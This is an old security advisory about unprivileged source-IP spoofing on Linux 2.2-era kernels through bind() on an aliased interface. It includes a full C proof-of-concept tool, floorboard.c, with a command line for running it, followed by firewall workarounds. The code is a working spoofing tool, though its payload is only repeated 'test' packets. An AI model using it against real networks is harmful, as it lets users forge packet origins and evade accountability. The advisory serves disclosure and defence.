COMMAND

    kernel

SYSTEMS AFFECTED

    Linux

PROBLEM

    Boo Hampshire posted  following.  This  works on linux  2.2.13 and
    is not related to the ip source forging with pppd.  This works  on
    systems with poor/no firewall setup,  pppd + shell users.   It can
    forge  a  source  address  (on  your  local ethernet sent over ppp
    interface).  This bug is  caused by bind() in the  kernel allowing
    you to send off another interface.  Code:

    /************************************
    
    floorboard.c
    
    (note: when I refer to vhost, i mean virtual hosting, ip aliases,
    or whatever).
    
    I started off writing this source because I'm working on the Gemini IRCD,
    which is basically going to replace Xnet's IRCD and I stumbled across
    something really stupid.
    
    Basically it was this:
    
    You could bind to a vhost and send packets with that vhost IP. This is the
    wonderful behaviour called "virtual hosting". Alot of IRC users no doubt
    have access to shells containing a "virtual host" such as
    "I.am.too.good.to.be.elite.com."
    
    What many don't realise, is that this could be used to "spoof" under Linux
    without superuser priv's.
    
    For example, at home, with a LAN, IP Address of 10.0.0.1 on eth0. and a
    modem.
    
    Let's assume "dialup" has the IP of 203.x.x.x. (ppp0) Use the system call
    bind() and use the IP of 10.0.0.1. (eth0)
    
    Send the udp packets out to host, say, 203.x.x.9. (via ppp0)
    
    Linux changes my IP to 10.0.0.1 (eth0) (as it should with vhost)
    
    The user at 203.x.x.9 receives packets from 10.0.0.1
    
    Do you see the problem now? Almost anyone who has linux on a LAN can have
    their users spoof of the IP of 10.0.0.1 without root.
    
    This isn't a major problem. But what if you configured your network card
    differently and somehow this leads up to a different sort of problem?
    
    This is probably not a major bug or an exploit, or maybe it was the
    intention of "virtual hosting", but it does show that logic may be needed
    in the way Linux and vhost/virtual hosting (also known as network ip aliases)
    is treated.
    
    Final note:
    Whether this runs/works on anything other than Linux is not known. It is
    quite possible this exploit/bug works on every other platform out there,
    including Windows?
    
    I'm leaving it at that, because it was, after all, meant to be a an ircd
    socket library..
    
    By the way, this source is licensed to you under GNU GPL, the latest
    version.
    
    e.g.
    
    ./floorboard target_ip any_port -v 10.0.0.1 any_port_greater_than_1024 -u
    
    works in linux 2.0.36 (redhat 4.2),  2.2.5-* (redhat 6.0), 2.2.13 (redhat
    6.0) and possibly any other kernels on systems with poor or no firewall
    controls.
    
    --
    Dr/icebsd
    drai2.geo@yahoo.com
    
    http://www.2600.org.au
    
    Thanks to:
    
    nyisles for letting me make sure i was spoofing packets and not just
    finding an error in tcpdump -i ppp0...
    
    and Pyros for being the gimp that he is.
    
    and Pho!@#$!@!@$#!$ fjear his eleet te(how do you spell technique?)
    
    ************************************/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #include <netdb.h> /* for gethostbyname() */
    
    /* for connect()/socket() */
    #include <sys/types.h>
    #include <sys/socket.h>
    
    /* for inet_aton, inet_ntoa, htons()/ntohs(), htonl() */
    #include <netinet/in.h>
    #include <arpa/inet.h>
    
    typedef int SOCKET;
    
    #define DEBUG
    #define TCP_CONNECT 1
    #define UDP_CONNECT 2
    
    /* bind a socket to port/hostname .. hostname may be null, in which case
    it uses INADDR_ANY.. returns -1 on fail or 0 on success */
    
    /* Note: binding to port 0 means the same as INADDR_ANY except its for
    ports (sort of useful to bind a host without a port) */
    
    int bind_sock(SOCKET sock, char *host, int port)
    {
       struct sockaddr_in server;
       struct hostent *hent;
    
       memset(&server, 0, sizeof(server));
       server.sin_port = htons(port);
       server.sin_family = AF_INET;
    
       /* find hostname or use INADDR_ANY */
    
       if (host != NULL) {
          if (find_hostname(&server, host) == -1) {
             return -1;
          }
       }
       else {
          server.sin_addr.s_addr = INADDR_ANY;
       }
    
       if (bind(sock, (struct sockaddr*) &server, sizeof(struct sockaddr_in))
    == -1) {
          perror("bind");
          return -1;
       }
       return 0;
    }
    
    /* find_hostname(), uses gethostbyname() to put the details into *serv,
    finding *host... returns -1 on fail, 0 on success*/
    
    int find_hostname(struct sockaddr_in *serv, char *host)
    {
       struct hostent *hent;
       struct sockaddr_in server;
       int i;
       char *p;
    
    #ifdef DEBUG
       struct in_addr in;
    
       printf("Finding host: %s\n", host);
    #endif
    
       memset(&server, 0, sizeof(server));
    
       if (!inet_aton(host, &server.sin_addr)) {
          if ((hent = gethostbyname(host))) {
             memcpy(&server.sin_addr.s_addr, hent->h_addr_list[0],
    hent->h_length);
    
    #ifdef DEBUG
             printf("Official name of host: %s\n", hent->h_name);
             for (i = 0, p = hent->h_aliases[0]; p != NULL;
    p=hent->h_aliases[++i]) {
                printf("Alias (for host: %s): %s\n", host, p);
             }
             for (i = 0, p = hent->h_addr_list[0]; p != NULL;
    p=hent->h_addr_list[++i]) {
                memcpy(&in.s_addr, p, hent->h_length);
                printf("IP aliases: %s\n",inet_ntoa(in));
             }
    
    #endif
          }
          else {
             herror(host);
             return -1;
          }
       }
    #ifdef DEBUG
       printf("Found host\n");
    #endif
    
       memcpy(&(serv->sin_addr), &server.sin_addr, sizeof(struct in_addr));
       return 0;
    }
    
    /* make a connection using the socket, host and port ...
    returns -1 on fail, the socket (sock) on success */
    
    SOCKET make_connect(SOCKET sock, char *host, int port)
    {
       struct sockaddr_in server;
    
       if (port < 0) {
          printf("Invalid port number\n");
          return -1;
       }
    
       memset(&server, 0, sizeof(server));
       server.sin_port = htons(port);
       server.sin_family = AF_INET;
    
       /* find hostname */
    
       if (find_hostname(&server, host) == -1) {
          return -1;
       }
    
       /* make connection */
       if (connect(sock, (struct sockaddr *) &server, sizeof(struct
    sockaddr_in))
    == -1) {
          return -1;
       }
    
       return sock;
    }
    
    /* forces the program to create a socket using socket() and dies if that
    fails.. */
    
    SOCKET make_socket(int type, int protocol)
    {
       SOCKET sock;
    
       /* create socket */
       sock = socket(AF_INET, type, protocol);
    
       if (sock == -1) {
          perror("socket");
          exit(1);
       }
    
       return sock;
    }
    
    /* make a tcp/udp connection, and bind the socket to a port if (vport)
    exists */
    
    SOCKET connect_sock(SOCKET sock, char *host, int port, char *vhost,
    char *vport)
    {
    
       /* bind_sock() doesn't need to be checked, since it has its own error
    messages using herror() .. and it isn't crucial so we dont need to die
    on it. */
       if (vport) {
          if (vhost)
             bind_sock(sock, vhost, atoi(vport));
          else
             bind_sock(sock, NULL, atoi(vport));
       }
    
       if (make_connect(sock, host, port) == -1) {
          perror("connect");
          close(sock);
          exit(1); /* die */
       }
    
       return sock;
    }
    
    SOCKET connect_tcp(char *host, int port, char *vhost, char *vport)
    {
       SOCKET sock;
       sock = make_socket(SOCK_STREAM, IPPROTO_IP);
    
       return connect_sock(sock, host, port, vhost, vport);
    }
    
    SOCKET connect_udp(char *host, int port, char *vhost, char *vport)
    {
       SOCKET sock;
       sock = make_socket(SOCK_DGRAM, IPPROTO_IP);
    
       return connect_sock(sock, host, port, vhost, vport);
    }
    
    void check_param(char *s, char *option)
    {
       if (s == NULL) {
          printf("ERROR %s: You didn't specify enough parameters for this \
    option!\n", option);
          exit(1);
       }
    }
    
    void main(int argc, char **argv)
    {
       SOCKET sock;
       int connected = 0;
    
       int i;
       char *vhost=NULL, *vport=NULL;
       char *host;
       int port;
       int connecttype = TCP_CONNECT;
    
       if (argc < 3) {
          printf("Usage: %s <host> <port> [options]\n", argv[0]);
          printf("Pre-connect options\n");
          printf("-v <host> <port>   bind to <vhost> and <port>\n");
          printf("-b <port>		 bind to <port>\n");
    
          printf("\n\n");
          printf("Connect options\n");
          printf("-t 		 for tcp connect (default)\n");
          printf("-u 		 for udp connect\n");
    
          printf("\n\n");
          printf("You can only have one pre-connect and one connect \
    option\n");
          exit(1);
       }
    
       i = 3; /* start from the 3rd parameter */
    
       if (argc >= 4) {
          while (argv[i] != NULL) {
             switch (argv[i][1]) {
                case 'u': case 'U':
                   connecttype = UDP_CONNECT;
                break;
                case 't': case 'T':
                   connecttype = TCP_CONNECT;
	        break;
                case 'v': case 'V':
                   i++;
                   vhost = argv[i++]; check_param(vhost, "-v");
                   vport = argv[i]; check_param(vport, "-v");
                break;
                case 'b': case 'B':
                   i++;
                   vport = argv[i]; check_param(vport, "-b");
                break;
                default:
                   printf("Unknown option: %s\n", argv[i]);
                   exit(1);
             }
             i++;
          }
       }
    
       host = argv[1]; port = atoi(argv[2]);
    
       if (connecttype == TCP_CONNECT)
          sock = connect_tcp(host, port, vhost, vport);
       else
          sock = connect_udp(host, port, vhost, vport);
    
    
       printf("Press return to send packets...\n");
       fflush(stdout);
       getchar();
    
       while (1) {
          sleep(1);
          send (sock, "test", 4, 0);
       }
    
       close(sock);
       exit(0);
    }

SOLUTION
    
    No fix available but a workaround is to use your firewall to  deny
    packets that don't belong on a given interface (ipfwadm -W option,
    or whatever  ipchains is).   This isn't  vulnerability.   This  is
    required by posix, that bind should allow you to bind any specific
    IP adress,  not just  0.0.0.0:0. Many  networking daemons  rely on
    this  feature  to  provide  some  specific  configuration  twirks.
    However if  you don't  feel comfortable  that your  users can bind
    local ports, you may apply patch by route(?) which requires a user
    to be in specific group to  do so..  Alternatively you could  just
    `fix' socketcall from within a module.